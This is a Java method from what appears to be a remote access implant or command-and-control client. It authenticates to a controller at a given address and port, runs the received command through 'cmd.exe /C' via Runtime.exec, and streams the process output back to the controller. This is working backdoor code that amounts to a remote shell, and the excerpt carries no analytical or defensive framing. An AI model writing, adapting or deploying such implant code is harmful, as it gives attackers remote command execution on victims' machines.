public boolean executeCommand(String command, String addr, int port, boolean executeCommands_in_series)
  {
    try
    {
      if ((command == null) || (command.trim().equals("")))
      {
        return true;
      }

      this.implant.beacon_provide_response = true;

      boolean success = authenticateWithController(addr, port);

      if (success)
      {
        Driver.sop("Connection appears to be open, attempting to execute command: " + command);

        this.implant.sendToController("************************************************************************************ ", false, false);
        this.implant.sendToController("* Responding to command: " + command, false, false);
        this.implant.sendToController("************************************************************************************ ", false, false);

        if (executeCommands_in_series)
        {
          Process proc = Runtime.getRuntime().exec("cmd.exe /C " + command, null, Driver.fleCurrentWorkingDirectory);
          BufferedReader brIn_WorkerThread = new BufferedReader(new InputStreamReader(proc.getInputStream()));
          ArrayList alCommandsReceived = ProcessHandlerThread.getBufferedArrayList(brIn_WorkerThread, false);

          if ((alCommandsReceived == null) || (alCommandsReceived.size() < 1))
          {
            sendToController("No process data to return!");
          }
          else
          {
            for (int i = 0; i < alCommandsReceived.size(); i++)
            {
              this.implant.sendToController((String)alCommandsReceived.get(i), false, false);
            }

          }

        }
        else
        {
          this.implant.executeCommand(command);
        }

      }
      else
      {
        Driver.sop("\nDISMISSING COMMAND: UNABLE TO OPEN SOCKET TO CONTROLLER AT " + addr + " : " + port);
      }

      return true;
    }
    catch (Exception e)
    {
      Driver.eop("executeCommand", "Worker_Thread_Payloads", e, "", false);
    }

    return false;
  }